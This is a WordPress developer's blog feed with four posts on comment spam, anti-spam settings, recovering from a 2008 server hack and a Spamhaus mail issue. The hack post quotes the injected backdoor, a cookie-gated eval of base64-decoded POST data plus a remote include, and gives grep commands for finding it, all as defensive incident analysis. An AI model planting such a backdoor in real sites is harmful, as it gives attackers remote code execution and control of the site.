<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Steve Taylor &#187; spam</title>
	<atom:link href="http://sltaylor.co.uk/blog/category/spam/feed/" rel="self" type="application/rss+xml" />
	<link>http://sltaylor.co.uk</link>
	<description>Freelance WordPress developer in London - XHTML, CSS &#38; design</description>
	<lastBuildDate>Sat, 19 Nov 2011 16:08:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>A new breed of spam</title>
		<link>http://sltaylor.co.uk/blog/a-new-breed-of-spam/</link>
		<comments>http://sltaylor.co.uk/blog/a-new-breed-of-spam/#comments</comments>
		<pubDate>Sat, 23 Apr 2011 15:11:34 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
				<category><![CDATA[spam]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=610</guid>
		<description><![CDATA[In the past few weeks, this site has seen a drastic increase of comment spam. Well, there&#8217;s always a lot of spam, most of which gets filtered well by Akismet. However, this recent round is insidious. In fact, it successfully blurs the line between spam and legitimate comments. Here&#8217;s the characteristics I&#8217;ve noticed: It&#8217;s targetted [...]]]></description>
			<content:encoded><![CDATA[<p>In the past few weeks, this site has seen a drastic increase of comment spam.</p>
<p>Well, there&#8217;s always a lot of spam, most of which gets filtered well by Akismet. However, this recent round is insidious. In fact, it successfully blurs the line between spam and legitimate comments.</p>
<p><span id="more-610"></span></p>
<p>Here&#8217;s the characteristics I&#8217;ve noticed:</p>
<ol>
<li>It&#8217;s targetted at WordPress development blogs.</li>
<li>It&#8217;s almost certainly posted by humans, not bots.</li>
<li>Usually there is a semi-intelligent reference to the post in question. Sometimes you can see that a quotation from the post&#8217;s content may have been automated (or semi-automated), but sometimes it seems there must have been some human input. There may be all sorts of smart scripting going on here&#8212;e.g. pulling out names of previous commenters to make it seem like there&#8217;s a &#8220;conversation&#8221; going on. But knowing that incredibly cheap human labour is out there for this sort of thing makes it hard to know the real source.</li>
<li>The comment author&#8217;s URL is almost always some blatantly commercial site. Sometimes it&#8217;s a WordPress-driven site, sometimes not.</li>
<li>Sometimes there&#8217;s a spam link to the site in the comment body, but usually included in a legitimate-looking way, e.g. some webmaster &#8220;signature&#8221;.</li>
<li>The content is designed to induce approval from the blogger, e.g. it&#8217;s very flattering, or sycophantically asking for help.</li>
</ol>
<p>As you can see, most of these points indicate a severely hazy distinction between legit comments and spam.</p>
<p>The thing is, even if a comment is posted by a human, an actual webmaster of an actual WordPress-driven site, I think it can still be spam. I guess you&#8217;d call it <a href="http://en.wikipedia.org/wiki/White_or_black_hat" class="broken_link" rel="nofollow">Grey Hat</a> comment spam. WP developers getting links for their clients on WP developer blogs.</p>
<p>I&#8217;m strongly in favour of the open and reciprocal nature of the web; I&#8217;m even more strongly against any form of spam. These two attitudes do not sit well together!</p>
<p>So, while I am genuinely happy to give link juice to other developers whose engagement with the WP world brings them to my blog, I&#8217;m starting to err on the side of my anti-spam nature. Here&#8217;s where I&#8217;m heading:</p>
<ol>
<li>I&#8217;ve removed the URL field from my comment form.</li>
<li>I&#8217;ll spam any comment with a link to a commercial site.</li>
<li>When the comment isn&#8217;t really saying anything useful, I&#8217;ll err on the side of spamming it.</li>
</ol>
<p>I apologize to any legitimate commenters who fall foul of this.</p>
<p>Everyone else, watch this:</p>
<p><object width="500" height="400"><param name="movie" value="http://www.youtube.com/v/gDW_Hj2K0wo?version=3"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/gDW_Hj2K0wo?version=3" type="application/x-shockwave-flash" width="500" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>And yes, I realize that the current economic climate means that the &#8220;Grey&#8221; area of marketing encroaches ever closer on what used to be considered &#8220;Black&#8221;. But in the end this is no excuse. It just exposes the problems with our economy, whether it&#8217;s going up or down. The spam mentality is a symptom of a sick business culture that is less and less based on providing good services.</p>
<p>So, while I acknowledge that if burglary and theft may rise in tough times, an increase in Grey Hat spam is hardly shocking, I&#8217;m still no more tolerant of it. Stop wasting time and generate some genuine value.</p>
<p><strong class="alert">UPDATE 4/5/11:</strong> I&#8217;ve decided to reinstate the URL field on the comment form. I want to give genuine commenters link juice, and they&#8217;re the only ones that will get approved&#8212;plus, seeing the URL entered usually helps determine if the comment is spam or not.</p>
<p><strong class="alert">UPDATE 30/4/11:</strong> Yet another new tactic, which I sensed the approach of. I&#8217;ve removed the URL field, so I get some comments that seem innocuous&#8212;thanks, or simple questions, with no spam links and a normal-seeming email. I approve it. Then, because I allow comments to be approved straight away if I&#8217;ve already approved one from that email, they post again, quickly, with a spam link in the comment. Solution: all comments now require approval, and I&#8217;m spamming most comments that don&#8217;t actually contribute to the conversation. Message to the spammers: you will never win, you&#8217;re just wasting your life. Shame&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/a-new-breed-of-spam/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>WordPress hacks and tips: Spam</title>
		<link>http://sltaylor.co.uk/blog/wordpress-hacks-tips-stopping-spam/</link>
		<comments>http://sltaylor.co.uk/blog/wordpress-hacks-tips-stopping-spam/#comments</comments>
		<pubDate>Mon, 11 May 2009 08:00:56 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
				<category><![CDATA[spam]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=144</guid>
		<description><![CDATA[Spam is the bane of bloggers. The internet may yet be rendered close to useless thanks to the deadly combination of the low-cost, high-volume mechanized advertizing it facilitates and our culture&#8217;s emphasis on consumption and competition. Still, we&#8217;re not going to make it easy for them. Built-in tools Of course, WordPress has some good methods [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://sltaylor.co.uk/wp-content/uploads/2009/05/cat-spam.jpg" alt="a can of spam" title="a can of spam" width="100" height="100" class="alignright size-full wp-image-145" /> Spam is the bane of bloggers. The internet may yet be rendered close to useless thanks to the deadly combination of the low-cost, high-volume mechanized advertizing it facilitates and our culture&#8217;s emphasis on consumption and competition.</p>
<p>Still, we&#8217;re not going to make it easy for them.</p>
<p><span id="more-144"></span></p>
<h2>Built-in tools</h2>
<p>Of course, WordPress has some good methods of preventing your comments from filling up with bogus comments linking to dodgy pharmaceutical sites built into the core&#8212;look under <b>Settings  &gt; Discussion</b>.</p>
<dl>
<dt>Allow link notifications from other blogs (pingbacks and trackbacks.)</dt>
<dd>Not many people use <a href="http://en.wikipedia.org/wiki/Trackback">trackbacks</a>, and they come with their own, very popular form of <a href="http://en.wikipedia.org/wiki/Sping">spam</a>. Unless you really need trackbacks, disable this.</dd>
<dt>Comment author must fill out name and e-mail</dt>
<dd>This is a must, make sure it&#8217;s checked.</dd>
<dt>Users must be registered and logged in to comment</dt>
<dd>A pretty effective way of reducing spam! However, only sites with a relatively dedicated readership can afford to force people to register. If you go for it, make sure you have some spam protection on the registration form, such as SI CAPTCHA (see below).</dd>
<dt>Automatically close comments on articles older than [n] days</dt>
<dd>If you rarely get good discussions on old posts, enable this and set the days cut-off according to your sense of a post&#8217;s lifespan on your blog.</dd>
<dt>An administrator must always approve the comment</dt>
<dd>Effective, but potentially time-consuming! Not usually worthwhile.</dd>
<dt>Comment author must have a previously approved comment</dt>
<dd>Always have this checked. It will let someone&#8217;s comment straight through if they&#8217;ve commented before (the system compares email addresses). Good for keeping discussions lively even when you&#8217;re not around to approve comments.</dd>
<dt>Hold a comment in the queue if it contains [n] or more links.</dt>
<dd>Set to 2 by default; probably a good measure. <em>Note:</em> Don&#8217;t set this to zero or leave it blank&#8212;this will send all comments to moderation. There&#8217;s no real point in disabling it by setting it to something like 1000 (what legitimate commenter would include 1000 links?). To loosen the setting, just up it to 5 or so.</dd>
<dt>Comment moderation / blacklist words</dt>
<dd>This is a pretty powerful feature. Various keyword &#8220;blacklists&#8221; can be found (e.g. on the <a href="http://codex.wordpress.org/Spam_Words">Codex</a>) to paste into these boxes. I&#8217;ve not used these extensively, but probably worth exploring.</dd>
</dl>
<h2>Plugins</h2>
<dl>
<dt><a href="http://akismet.com/">Akismet</a></dt>
<dd>Almost &#8220;built-in&#8221;, this plugin comes with WordPress and just needs to be activated to work. Actually, you also need to get a <a href="http://wordpress.com/">WordPress.com</a> account and grab the API key from your profile there, too. Akismet includes full instructions. Akismet sends comments off to its server and flags suspects as spam. There&#8217;s the danger of &#8220;false positives&#8221; of course, but the system seems quite accurate, and provides good tools for monitoring things just in case. Akismet might work for you alone; however, many people recommend using it in combination with another method.</dd>
<dt><a href="http://wordpress.org/extend/plugins/si-captcha-for-wordpress/">SI CAPTCHA</a></dt>
<dd>A good CAPTCHA plugin, for comment and/or registration forms. CAPTCHAs are those images of squiggly letters you&#8217;re asked to type out. They provide a certain amount of protection, but are regularly broken by bots and low-paid humans.</dd>
<dt><a href="http://wordpress.org/extend/plugins/wp-recaptcha/">WP-reCAPTCHA</a></dt>
<dd>This is genius in theory, and pretty good in practice. It&#8217;s a CAPTCHA system that uses doubtful words from projects that are digitizing written works. Spam gets stopped, and OCR efforts are helped. Like all CAPTCHAs, it&#8217;s not water-tight, but making this part of your anti-spam arsenal does some good as well as stopping some bad.</dd>
<dt><a href="http://www.deliciousdays.com/cforms-plugin/">cforms</a></dt>
<dd>A formidable &#8220;Swiss Army knife&#8221; for WP forms. Includes CAPTCHA and Verification Question options, and the option to use the plugin to generate the comment form (and hence include a CAPTCHA on the comment form)&#8212;though this can be a little fiddly.</dd>
<dt><a href="http://wordpress.org/extend/plugins/bad-behavior/">Bad Behavior</a></dt>
<dd>I used to use this plugin regularly. It analyzes requests to the server and blocks those thought to be spamming attempts&#8212;in theory, this has the advantage that it saves you server load as well as preventing successful spam hits. I stopped using it after a series of problems where it started giving false positives a lot, blocking my clients from their sites. However, it seems to be still going strong, so they may have ironed this kind of thing out. They still, however (as with most spam-prevention plugins) recommend using it in combination with something else.</dd>
</dl>
<h2>Block attempted comments without a referrer</h2>
<p>Thanks to <a href="http://www.wprecipes.com/how-to-deny-comment-posting-to-no-referrer-requests">WpRecipes</a> for this. I&#8217;ve just started using it, and it seems to be effective. It basically blocks requests where there&#8217;s no apparent referrer in evidence. Pop it into <code>functions.php</code>, or use the <code>.htaccess</code> version in the original post.</p>
<pre name="code" class="php">function check_referrer() {
	if ( !isset($_SERVER['HTTP_REFERER']) || $_SERVER['HTTP_REFERER'] == "" ) {
		wp_die( __('Please enable referrers in your browser.') );
	}
}
add_action( 'check_comment_flood', 'check_referrer' );</pre>
<h2>Referrer blacklisting</h2>
<p>Jeff Starr has an interesting piece on <a href="http://perishablepress.com/press/2009/04/21/4g-ultimate-referrer-blacklist/">blocking &#8220;referrer spam&#8221;</a>. If you do decide to follow his lead, please take care to read his disclaimer at the end of the post!</p>
<h2>References and further reading</h2>
<ul>
<li><a href="http://codex.wordpress.org/Combating_Comment_Spam">Codex: Combating Comment Spam</a></li>
<li><a href="http://thenexus.tk/htaccess-reviewed/"><code>.htaccess</code> reviewed</a> (some more <code>.htaccess</code> tricks)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/wordpress-hacks-tips-stopping-spam/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress security</title>
		<link>http://sltaylor.co.uk/blog/wordpress-security/</link>
		<comments>http://sltaylor.co.uk/blog/wordpress-security/#comments</comments>
		<pubDate>Sat, 19 Apr 2008 18:17:06 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=29</guid>
		<description><![CDATA[My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the [...]]]></description>
			<content:encoded><![CDATA[<p>My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).</p>
<p>Needless to say, I&#8217;ve been forced to quickly learn a lot about web security, and I&#8217;ve been grateful to be forced to do so without major losses. I&#8217;ll try and document some useful things I&#8217;ve learned here.</p>
<p><em><strong>NOTE:</strong> This post contains some good WordPress security tips, but in response to a specific hacks. For a more general, comprehensive run-down of solid WordPress security measures, see <a href="/blog/wordpress-hacks-tips-security/">this post</a>.</em></p>
<p><span id="more-29"></span></p>
<h2>The hack</h2>
<p>I&#8217;m not sure anyone&#8217;s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.</p>
<p>With the recent release of <a href="http://wordpress.org/development/2008/03/wordpress-25-brecker/">WP 2.5</a>, there have been some <a href="http://dougal.gunters.org/blog/2008/04/08/upgrade-or-else">sharp warnings</a> about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.</p>
<p>In the end, <em>all</em> my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I&#8217;ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by <code>.htaccess</code> logins) were compromised. In any case, the lesson here is clear: <em>keep all WP installations on any server you run upgraded to the latest version</em>.</p>
<p>The signs of the attack are quite distinct. It&#8217;s documented <a href="http://wordpress.org/support/topic/168964">on the WP forum</a> and by <a href="http://wordpressphilippines.org/blog/has-your-wordpress-been-hacked-recently/">other people</a>. Here&#8217;s my summary of my experience:</p>
<ul>
<li>New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called <code>taxonomy.php</code>, there might be a new file called <code>taxonomy_old.php</code> or <code>taxonomy_new.php</code>. Other common new names included image-like extensions, e.g. <code>crop.php.pngg</code> or <code>wlw_old.php.giff</code>.</li>
<li>The main WP <code>index.php</code> changed to look like this:
<pre name="code" class="php">&lt;?php if(md5($_COOKIE['_wp_debugger'])==
&quot;[long hash string here]&quot;){ eval(base64_decode($_POST['file'])); exit; } ?&gt;&lt;?php
/* Short and sweet */
if (isset($_GET['license'])) {
	@include('http://wordpress.net.in/license.txt');
} else {
	define('WP_USE_THEMES', true);
	require('./wp-blog-header.php');
}
?&gt;</pre>
</li>
<li>That top line of PHP code was inserted into many other files.</li>
<li>A new user account could be found in the <code>wp_user</code> table, username &#8220;WordPress&#8221;. Apparently it doesn&#8217;t show up in the WP admin screen&#8212;check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in <code>wp_usermeta</code>, along with other entries that didn&#8217;t have a corresponding account in <code>wp_user</code>.</li>
<li>In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.</li>
</ul>
<p>Apparently another common sign of this attack is the appearance of files named <code>wp-info.txt</code> (containing passwords and so on that have been discovered by the above scripts). I didn&#8217;t get this, but watch for this too.</p>
<h2>Cleaning up</h2>
<ol>
<li>First, using phpMyAdmin, delete the &#8220;WordPress&#8221; entry from <code>wp_user</code> and its corresponding entries in <code>wp_usermeta</code>. Also delete all entries in <code>wp_usermeta</code> where the <code>user_id</code> value doesn&#8217;t correspond to a legitimate account in <code>wp_user</code>.</li>
<li>SSH into your server and search for offending code. I found the following commands useful:
<pre name="code" class="php">grep --recursive "eval(base64_decode($_POST['file']));" *</pre>
<pre name="code" class="php">grep --recursive "http://wordpress.net.in/license.txt" *</pre>
<pre name="code" class="php">grep --recursive "find suid files" *</pre>
<p>These search all files (<code>*</code>) in all sub-directories (<code>--recursive</code>, with two dashes&#8212;WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. <a href="http://wordpress.org/support/topic/168964#post-737989">This guy</a> has some other goodies.</p>
<li>Remove all offending files, via FTP or SSH (see above link).</li>
</li>
</ol>
<h2>Securing WordPress</h2>
<p>Obviously, upgrade all installations to <a href="http://wordpress.org/download/">the latest version</a>. This might make the last step redundant, but of course you should preserve your <code>wp-content</code> directory (while thoroughly scanning those files for hacked code).</p>
<p>Then do the following:</p>
<ol>
<li>With all of the following, use <a href="https://www.grc.com/passwords.htm">strong random passwords</a>. Of course they needn&#8217;t be as long as the ones on the page I&#8217;ve linked to, but it&#8217;s a good place to grab however many characters you need.</li>
<li>Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.</li>
<li>Change the default admin account username in all WP installations to something other than &#8220;admin&#8221;. You&#8217;ll need to do this via phpMyAdmin&#8212;change the <code>user_login</code> field.</li>
<li>Change all WP user account passwords.</li>
<li>Heck, change any other passwords too (like FTP).</li>
<li>Change the default <code>wp_</code> prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP&#8217;s in the same database. That&#8217;s possible (but not ideal). Really, the main benefit is so hackers don&#8217;t know what your database tables are called. <a href="http://www.richardsramblings.com/2008/02/06/changing-your-wordpress-table-prefix/">Richard LeCour</a> has a good guide to this, and there&#8217;s even <a href="http://blogsecurity.net/wordpress/tool-130707/">a plugin</a>. Here&#8217;s my summary of the manual method:
<ol>
<li>Change value of the <code>$table_prefix</code> variable in <code>wp-config.php</code>. I use a string of 5 or so characters from <a href="https://www.grc.com/passwords.htm">the password page</a>.</li>
<li>In phpMyAdmin, on the main page for the database in question, click the &#8216;SQL&#8217; tab. Use the following code to change the table names. (Obviously adjust for any other <code>wp_</code>-prefixed tables, e.g. tables created by various plugins.)
<pre name="code" class="sql">RENAME TABLE wp_comments TO [your prefix here]_comments;
RENAME TABLE wp_links TO [your prefix here]_links;
RENAME TABLE wp_options TO [your prefix here]_options;
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
RENAME TABLE wp_posts TO [your prefix here]_posts;
RENAME TABLE wp_terms TO [your prefix here]_terms;
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
RENAME TABLE wp_users TO [your prefix here]_users;</pre>
<p>Note: I&#8217;ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. <code>wp_posts</code>. You&#8217;ll need to change any instances of the same habit in your code using <code>$wpdb->prefix</code>. For instance, this:</p>
<pre name="code" class="sql">$sql = "SELECT ID, post_title FROM wp_posts WHERE post_status = 'publish'";</pre>
<p>Should become:</p>
<pre name="code" class="php">$sql = "SELECT ID, post_title FROM ".$wpdb->prefix."posts WHERE post_status = 'publish'";</pre>
<p>Most plugins use this to remain portable, but you might want to search your plugins for hard-coded <code>wp_</code>&#8216;s too.
</li>
<li>In the <code>options</code> table, change the <code>option_name</code> called <code>wp_user_roles</code> to have your new prefix instead of <code>wp_</code>.</li>
<li>Likewise for all <code>meta_key</code> values in the <code>usermeta</code> table that start with <code>wp_</code>.</li>
</ol>
</li>
<li>Finally, re-do the <code>grep</code> SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.</li>
</ol>
<p>My server&#8217;s been fine since doing all these things (though I&#8217;m touching wood now). Hopefully this&#8217;ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.</p>
<p>Here&#8217;s some more resources on WordPress that I&#8217;m still absorbing:</p>
<ul>
<li><a href="http://codex.wordpress.org/Hardening_WordPress">Hardening WordPress</a></li>
<li><a href="http://blogsecurity.net/wordpress/">BlogSecurity.net: WordPress</a> (see especially their <a href="http://blogsecurity.net/wordpress/wordpress-security-whitepaper/">WordPress Security Whitepaper</a>)</li>
</ul>
<h2>WordPress 2.5</h2>
<p>I&#8217;m really pleased with the new version of WordPress&#8212;great interface improvements, and it seems much nippier. However, I thought a curious new addition to the <code>wp-config.php</code> file could have done with some documentation, or some attention drawn to it. You&#8217;ll find this in 2.5&#8242;s new file:</p>
<pre name="code" class="php">// Change SECRET_KEY to a unique phrase.  You won't have to remember it later,
// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm
// to get a phrase generated for you, or just make something up.
define('SECRET_KEY', 'put your unique phrase here'); // Change this to a unique phrase.</pre>
<p>Some people have missed this, apparently exposing themselves to <a href="http://blogsecurity.net/wordpress/wordpress-25-secret_key-vulnerability/">the one 2.5 vulnerability I&#8217;ve heard of so far</a>. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.</p>
<p>One more non-security note about the new <code>wp-config.php</code> file. If you upgrade to 2.5 and find your blog content&#8217;s got loads of garbled characters in it, the culprit is probably this new line:</p>
<pre name="code" class="php">define('DB_CHARSET', 'utf8');</pre>
<p>Comment it out like this:</p>
<pre name="code" class="php">//define('DB_CHARSET', 'utf8');</pre>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/wordpress-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spamhaus.org and SMTP authentication</title>
		<link>http://sltaylor.co.uk/blog/spamhausorg-and-smtp-authentication/</link>
		<comments>http://sltaylor.co.uk/blog/spamhausorg-and-smtp-authentication/#comments</comments>
		<pubDate>Mon, 11 Jun 2007 21:28:15 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
				<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/</guid>
		<description><![CDATA[Just solved a pesky email problem that was really vexing. Sending email from my localhost web server (usually via ColdFusion apps), for testing and other purposes, has always worked swimmingly. Recently, however, emails sometimes didn&#8217;t send. A glance at my ColdFusion log files showed the error &#8220;Invalid Addresses&#8221;. Some addresses from some of my domains [...]]]></description>
			<content:encoded><![CDATA[<p>Just solved a pesky email problem that was really vexing.</p>
<p>Sending email from my localhost web server (usually via ColdFusion apps), for testing and other purposes, has always worked swimmingly. Recently, however, emails sometimes didn&#8217;t send. A glance at my ColdFusion log files showed the error &#8220;Invalid Addresses&#8221;.</p>
<p>Some addresses from some of my domains have started to be used extensively for sending spam (by other people!), so I wondered whether I&#8217;d got blacklisted somehow.</p>
<p>A blacklist was involved, but not for addresses. A closer look at the CF error logs showed this:</p>
<blockquote><p>Invalid Addresses; nested exception is: class javax.mail.SendFailedException: 550-xx.xx.xx.xx is listed at zen.spamhaus.org (127.0.0.11: 550 http://www.spamhaus.org/query/bl?ip=xx.xx.xx.xx)</p></blockquote>
<p>The x&#8217;d out bits are my current <a href="http://www.whatismyipaddress.com/">IP address</a>. <a href="http://www.spamhaus.org/">Spamhaus.org</a> seems to be a large spam-fighting clearinghouse, with, among other things, IP blacklists. Looking up my IP address on <span class="removed_link" title="http://www.spamhaus.org/lookup.lasso">their database</span> found it listed.</p>
<p><span class="removed_link" title="http://www.spamhaus.org/faq/answers.lasso?section=Spamhaus%20PBL#183">The solution</span> is to add SMTP authentication to your outgoing mail script. For ColdFusion, it looks something like this:</p>
<pre name="code" class="php">&lt;cfmail to="user@domain.com" from="noreply@domain.com" subject="Message subject" server="smtp.domain.com" username="noreply" password="password"&gt;
	[message]
&lt;/cfmail&gt;</pre>
<p>(Obviously, with suitable bits substituted for your situation&#8230;)</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/spamhausorg-and-smtp-authentication/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  sltaylor.co.uk/blog/category/spam/feed/ ) in 0.32248 seconds, on Feb 4th, 2012 at 2:17 am UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Feb 4th, 2012 at 3:17 am UTC -->
